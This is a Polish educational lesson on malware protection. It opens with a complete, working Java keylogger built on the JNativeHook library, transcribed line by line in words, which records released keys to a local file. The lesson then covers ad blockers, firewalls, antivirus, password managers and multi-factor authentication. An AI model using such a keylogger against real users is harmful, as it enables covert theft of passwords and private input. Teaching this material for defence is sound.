Implementacja prostego keyloggera

Do implementacji naszego prostego keyloggerakeyloggerkeyloggera w języku Java użyjemy zewnętrznej biblioteki o nazwie JNativeHook. Funkcje w niej zapisane wykorzystamy do wykrywania naciśnięć klawiszy na klawiaturze.

Natomiast aby zapisać zebrane informacje w pliku skorzystamy z pakietu PrintStream oraz FileOutputStream.

Pełny kod prostego keyloggera w języku Java jest następujący:

Linia 1. prawy ukośnik asterysk Najpierw importujemy pakiety związane z. Linia 2. przechwytywaniem naciśnięć klawiszy w systemie asterysk prawy ukośnik. Linia 3. import org kropka jnativehook kropka GlobalScreen średnik. Linia 4. import org kropka jnativehook kropka NativeHookException średnik. Linia 5. import org kropka jnativehook kropka keyboard kropka NativeKeyEvent średnik. Linia 6. import org kropka jnativehook kropka keyboard kropka NativeKeyListener średnik. Linia 8. prawy ukośnik asterysk Nastepnie importujemy pakiety związane z. Linia 9. wypisywaniem zebranych danych do lokalnego pliku asterysk prawy ukośnik. Linia 10. import java kropka io kropka FileNotFoundException średnik. Linia 11. import java kropka io kropka PrintStream średnik. Linia 12. import java kropka util kropka logging kropka Level średnik. Linia 13. import java kropka util kropka logging kropka Logger średnik. Linia 14. import java kropka io kropka FileOutputStream średnik. Linia 16. prawy ukośnik asterysk Aby nasz keylogger zawierał metody klasy służącej. Linia 17. do przechwytywania nacisnięć przecinek musimy po nim. Linia 18. dziedziczyć asterysk prawy ukośnik. Linia 19. public class KeyLogger implements NativeKeyListener otwórz nawias klamrowy. Linia 20. prawy ukośnik asterysk Meotda przecinek która się uruchamia przy każdym. Linia 21. naciśnięciu klawisza kropka Nie będziemy z niej. Linia 22. korzystać asterysk prawy ukośnik. Linia 23. public void nativeKeyPressed otwórz nawias okrągły NativeKeyEvent e zamknij nawias okrągły otwórz nawias klamrowy zamknij nawias klamrowy. Linia 25. prawy ukośnik asterysk Metoda przecinek która się uruchamia przy każdym. Linia 26. naciśnięciu klawisza odpowiadającego za. Linia 27. napisanie czytelnego znaku otwórz nawias okrągły cyfry przecinek liczby przecinek. Linia 28. znaku specjalngo zamknij nawias okrągły kropka Również nie będziemy z niej. Linia 29. korzystać asterysk prawy ukośnik. Linia 30. public void nativeKeyTyped otwórz nawias okrągły NativeKeyEvent e zamknij nawias okrągły otwórz nawias klamrowy zamknij nawias klamrowy. Linia 32. prawy ukośnik asterysk Metoda przecinek która się uruchamia przy każdym. Linia 33. zwolnieniu klawisza asterysk prawy ukośnik. Linia 34. public void nativeKeyReleased otwórz nawias okrągły NativeKeyEvent e zamknij nawias okrągły otwórz nawias klamrowy. Linia 35. System kropka out kropka println otwórz nawias okrągły. Linia 36. cudzysłów Zwolniono klawisz dwukropek cudzysłów plus. Linia 37. NativeKeyEvent kropka getKeyText otwórz nawias okrągły e kropka getKeyCode otwórz nawias okrągły zamknij nawias okrągły zamknij nawias okrągły. Linia 38. zamknij nawias okrągły średnik. Linia 39. zamknij nawias klamrowy. Linia 42. public static void main otwórz nawias okrągły String otwórz nawias kwadratowy zamknij nawias kwadratowy args zamknij nawias okrągły otwórz nawias klamrowy. Linia 43. prawy ukośnik asterysk Najpierw tworzymy obiekt rejestrujący. Linia 44. naciśnięcia klawiszy asterysk prawy ukośnik. Linia 45. try otwórz nawias klamrowy. Linia 46. GlobalScreen kropka registerNativeHook otwórz nawias okrągły zamknij nawias okrągły średnik. Linia 47. zamknij nawias klamrowy catch otwórz nawias okrągły NativeHookException ex zamknij nawias okrągły otwórz nawias klamrowy. Linia 48. System kropka exit otwórz nawias okrągły 1 zamknij nawias okrągły średnik. Linia 49. zamknij nawias klamrowy. Linia 51. prawy ukośnik asterysk W domyśle nasz obiekt będzie również wypisywał. Linia 52. informacje o aktywności myszki kropka Nie chcemy tego przecinek. Linia 53. więc wyłączamy tę funkcję asterysk prawy ukośnik. Linia 54. Logger logger znak równości Logger kropka getLogger otwórz nawias okrągły. Linia 55. GlobalScreen kropka class kropka getPackage otwórz nawias okrągły zamknij nawias okrągły kropka getName otwórz nawias okrągły zamknij nawias okrągły. Linia 56. zamknij nawias okrągły średnik. Linia 57. logger kropka setLevel otwórz nawias okrągły Level kropka OFF zamknij nawias okrągły średnik. Linia 58. logger kropka setUseParentHandlers otwórz nawias okrągły false zamknij nawias okrągły średnik. Linia 60. prawy ukośnik asterysk Następnie ustawiamy domyślny strumień wyjścia tak. Linia 61. aby wypisywał on do lokalnego pliku asterysk prawy ukośnik. Linia 62. try otwórz nawias klamrowy. Linia 63. System kropka setOut otwórz nawias okrągły new PrintStream otwórz nawias okrągły. Linia 64. new FileOutputStream otwórz nawias okrągły cudzysłów LogFile kropka txt cudzysłów przecinek true zamknij nawias okrągły zamknij nawias okrągły. Linia 65. zamknij nawias okrągły średnik. Linia 66. zamknij nawias klamrowy catch otwórz nawias okrągły FileNotFoundException e zamknij nawias okrągły otwórz nawias klamrowy. Linia 67. System kropka exit otwórz nawias okrągły 1 zamknij nawias okrągły średnik. Linia 68. zamknij nawias klamrowy. Linia 70. prawy ukośnik prawy ukośnik Uruchamiamy działanie naszego obiektu. Linia 71. GlobalScreen kropka addNativeKeyListener otwórz nawias okrągły new KeyLogger otwórz nawias okrągły zamknij nawias okrągły zamknij nawias okrągły średnik. Linia 72. zamknij nawias klamrowy. Linia 73. zamknij nawias klamrowy.

Dzięki wykorzystaniu paru metod z biblioteki JNativeHook otrzymujemy w pełni działającego keyloggera. Dodatkowo jego kod jest naprawdę krótki oraz mało skomplikowany. Dobrze to prezentuje, jak niewiele potrzeba do napisania działającego złośliwego oprogramowania. Warto zatem wiedzieć, jak się przed nim chronić.

Ochrona przed złośliwym oprogramowaniem

Pamiętajmy, że najsłabszym ogniwem w łańcuchu ochrony komputera przed złośliwym oprogramowaniem jest człowiek. Jesteśmy podatni na techniki manipulacyjne i to najczęściej nasze własne działania skutkują zainfekowaniem komputera. Jak zatem ograniczyć ryzyko infekcji?

Świadome korzystanie z internetu i jego zasobów

Przede wszystkim należy mieć na uwadze, że internet jest pełen zagrożeń dla naszego komputera. Zwykłe kliknięcie hiperłączahiperłączehiperłącza znajdującego się w treści maila albo strony internetowej może skutkować pobraniem złośliwego oprogramowania.

Dlatego podczas rutynowego sprawdzania skrzynki pocztowej, mediów społecznościowych czy nawet podczas zwykłego surfowania po internecie należy pamiętać o podstawowych zasadach ostrożności.

Blokowanie reklam i wyskakujących okien

Może się zdarzyć, że zainfekujemy komputer poprzez nieumyślne kliknięcie interesującej nas reklamy na stronie internetowej.

R1JS7zdghvU0z1

Przeglądarki takie jak Firefox, czy Google Chrome pozwalają na automatyczne blokowanie wyskakujących okien i reklam poprzez odpowiednie dostosowanie ustawień przeglądarki. Dodatkowo możemy zainstalować w przeglądarce odpowiednie wtyczki.

Najpopularniejszymi i najlepiej ocenianymi wtyczkami blokującymi reklamy są AdBlock, R.O.B.E.R.T. oraz AdBlocker Ultimate. Zapobiegają one śledzeniu przez reklamodawców oraz poprawiają szybkość działania przeglądarki. Dodatkowo mają one funkcję dopuszczalności reklam na wskazanych przez użytkownika stronach, dzięki czemu zapewniają większą kontrolę nad systemem blokowania.

Dokonując wyboru wtyczki, należy kierować się opiniami ekspertów z branży cyberbezpieczeństwa, którzy je przetestowali. Niektóre wtyczki blokujące reklamy mogą okazać się szkodliwe dla użytkownika. Mogą one wykradać wrażliwe dane lub wyświetlać szkodliwe reklamy, które są najczęściej oszustwem. Przykładem takiej wtyczki był dostępny w 2015 roku Adblock Super. Dodatkowo należy pamiętać, że blokowanie reklam niesie za sobą pewne ograniczenia. Sporo serwisów internetowych zarabia na wyświetlaniu reklam.

Zapora sieciowa

Zapora sieciowazapora sieciowaZapora sieciowa pełni funkcję połączenia ochrony sprzętowej i programowej wewnętrznej sieci LAN przed nieuprawnionym dostępem z zewnątrz. Często jest to realizowane przy pomocy oddzielnego sprzętu komputerowego wyposażonego w system operacyjny z odpowiednim oprogramowaniem.

Na komputerach osobistych rolę zapory sieciowej może też pełnić program filtrujący połączenia wchodzące i wychodzące. Zapory sieciowe nie tylko zabezpieczają system przed danymi z zewnątrz, ale też chronią dane przed nieuprawnionym wypływem z sieci lokalnej. Dodatkowo zapory sieciowe prowadzą dzienniki zdarzeń, które zawierają zbiorcze informacje na temat aktywności sieciowej procesów komputerowych, dzięki czemu użytkownik jest w stanie wykryć podejrzaną aktywność sieciową.

Zapora sieciowa jest pewnego rodzaju barierą pomiędzy naszą siecią lokalną a internetem. Zazwyczaj twórcy systemów operacyjnych zapewniają podstawowe zapory w celu zabezpieczenia użytkowników. Dodatkowo są dostępne darmowe i komercyjne systemy, które pozwalają na łatwiejszą konfigurację zapory oraz poszerzają jej funkcjonalność.

Jednym z nich jest darmowy program o nazwie GlassWire. Aplikacja ta oferuje szereg funkcji umożliwiających kontrolę ustawień zapory sieciowej. Pozwala ona całkowicie zablokować dostęp do internetu dla dowolnej aplikacji działającej na naszym komputerze.

RV92LN7iW0MjO1

Aplikacja ta również prowadzi dziennik zdarzeń, w którym można znaleźć informacje na temat podejrzanego ruchu sieciowego oraz nowo zaobserwowanej aktywności sieciowej aplikacji. Dzięki temu użytkownik może dowiedzieć się o potencjalnie niechcianej aktywności procesów.

R12GMYBkh3l0w1

Dodatkowo GlassWire pozwala na dokładną analizę zużycia transferu danych przez poszczególne aplikacje. Zaobserwowaną aktywność sieciową można przeanalizować na podstawie rodzaju komunikacji, czy chociażby wydawcy aplikacji.

R1OUmZUzzW4cn1

Oprogramowanie antywirusowe

Kolejnym sposobem na zabezpieczenie swojego komputera jest korzystanie z programu antywirusowegoprogram antywirusowyprogramu antywirusowego. Jego działanie polega na ciągłym monitorowaniu działających procesów i alarmowanie, gdy któryś z nich wykonuje coś podejrzanego. Na bieżąco skanuje również komputer w poszukiwaniu zainfekowanych plików. Znajdziesz tak płatne, jak i bezpłatne oprogramowania antywirusowe.

Pamiętajmy, aby na naszym komputerze był zainstalowany jeden program antywirusowy. W przypadku dwóch lub więcej tego rodzaju programów może się zdarzyć, że jeden z nich będzie blokował pozostałe, ponieważ będzie uważał ich działania za podejrzane.

Metody ochrony przed wyciekiem danych

Rejestrując się na różnego rodzaju serwisach internetowych, bardzo często musimy podać swoje prywatne dane. Zawsze musimy zakładać, że dane z takiego serwisu mogą wycieknąć w wyniku skutecznego cyberataku. W jaki sposób ograniczyć konsekwencje wycieku naszych danych?

Menadżery haseł

Warto korzystać z menadżera haseł. Często zdarza się, że rejestrujemy się w różnych serwisach, używając tego samego hasła albo zmieniając w nim parę ostatnich znaków. Niestety w momencie, w którym nasze hasło wycieknie do internetu, atakujący mogą zalogować się tym samym hasłem na każdy inny serwis, na którym jesteśmy zarejestrowani.

Rp1rV1EOX0Hc51

Kolejnym problemem jest wymyślanie nowych, skomplikowanych haseł oraz zapamiętywanie każdego z nich. W tym może nam pomóc menadżer haseł. Za jego pomocą możemy utworzyć zaszyfrowany plik na naszym dysku, który można jedynie odszyfrować, podając odpowiednie hasło w naszym menadżerze. Wtedy musimy jedynie pamiętać jedno skomplikowane hasło. Dodatkowo menadżery haseł mają wbudowane generatory losowych haseł, dzięki czemu nie musimy ich wymyślać.

Istnieją płatne i bezpłatne menadżery haseł, które zazwyczaj różnią się dodatkowymi funkcjami, takimi jak automatyczne uzupełnianie pól do logowania na stronie. Jednym z najpopularniejszych menadżerów haseł jest KeePassXC.

Jego działanie opiera się na przechowywaniu haseł w pliku, który jest zaszyfrowany specjalnym hasłem. Powinno ono być odpowiednio długie oraz skomplikowane, przez co odszyfrowanie tego pliku przez atakującego będzie niemożliwe. Dzięki menadżerowi haseł nie trzeba pamiętać wielu skomplikowanych haseł, a zaledwie jedno.

Program zawiera wbudowany generator haseł, w którym można sprecyzować długość hasła oraz to, z jakich typów znaków ma się ono składać. Dzięki temu użytkownik nie musi sam wymyślać bezpiecznych haseł. Dodatkowo tworząc nowy wpis w naszej bazie, można podać dodatkowe informacje, takie jak data wygaśnięcia hasła czy powiązana z nim nazwa użytkownika.

R6SI5FhobNn0A1

KeePassXC oferuje także funkcję autowpisywania haseł na sprecyzowanych przez użytkownika stronach internetowych. Dzięki temu podczas logowania nie trzeba kopiować odpowiedniego hasła z bazy danych.

ROkn2JEmiGpXN1

Podczas wybierania menadżera haseł należy postawić na programy dobrze znane i polecane przez ekspertów z branży cyberbezpieczeństwa. Należy również zwrócić uwagę na to, czy aplikacja jest aktualna i wciąż rozwijana przez producenta. Korzystanie z aktualnych wersji programów zdecydowanie zmniejsza ryzyko wystąpienia błędów i luk, które mogą prowadzić do utraty wartościowych danych.

Uwierzytelnianie wielopoziomowe

Po wycieku naszych danych do logowania chcielibyśmy się również zabezpieczyć przed tym, aby atakujący nie zalogował się na nasze konto przed zmianą hasła. Dobrym rozwiązaniem jest stosowanie wielopoziomowej weryfikacji.

Najczęściej opiera się ona na korzystaniu z telefonu jako urządzenia do potwierdzenia naszej tożsamości w trakcie logowania. Dzięki temu nawet jeżeli atakujący otrzyma nasze dane do logowania i tak nie będzie się w stanie nimi zalogować bez naszego telefonu.

Słownik

hiperłącze
hiperłącze

zawarty w dokumencie elektronicznym odnośnik, który prowadzi do innego dokumentu

program antywirusowy
program antywirusowy

program, którego zadaniem jest lokalizowanie, usuwanie i ograniczanie skutków działania wirusów komputerowych

zapora sieciowa
zapora sieciowa

system zajmujący się monitorowaniem oraz kontrolą ruchu sieciowego bazując na ustalonych wcześniej regułach bezpieczeństwa; termin ten może odnosić się do sprzętu komputerowego ze specjalnym oprogramowaniem, jak i do samego oprogramowania blokującego

keylogger
keylogger

rodzaj oprogramowania lub urządzenia rejestrującego klawisze naciskane przez użytkownika

phishing
phishing

metoda oszustwa, w której przestępca podszywa się pod inną osobę lub instytucję w celu wyłudzenia poufnych informacji